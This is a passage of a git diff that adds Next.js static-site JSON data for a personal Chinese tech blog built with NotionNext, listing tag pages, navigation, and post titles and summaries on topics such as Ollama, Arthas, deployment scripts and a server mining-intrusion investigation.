19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"工具"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\273\272\347\253\231.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\273\272\347\253\231.json"
new file mode 100644
index 000000000..503cb4fd6
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\273\272\347\253\231.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":4,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"建站"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\274\200\345\217\221.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\274\200\345\217\221.json"
new file mode 100644
index 000000000..84d30f6b0
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\345\274\200\345\217\221.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab 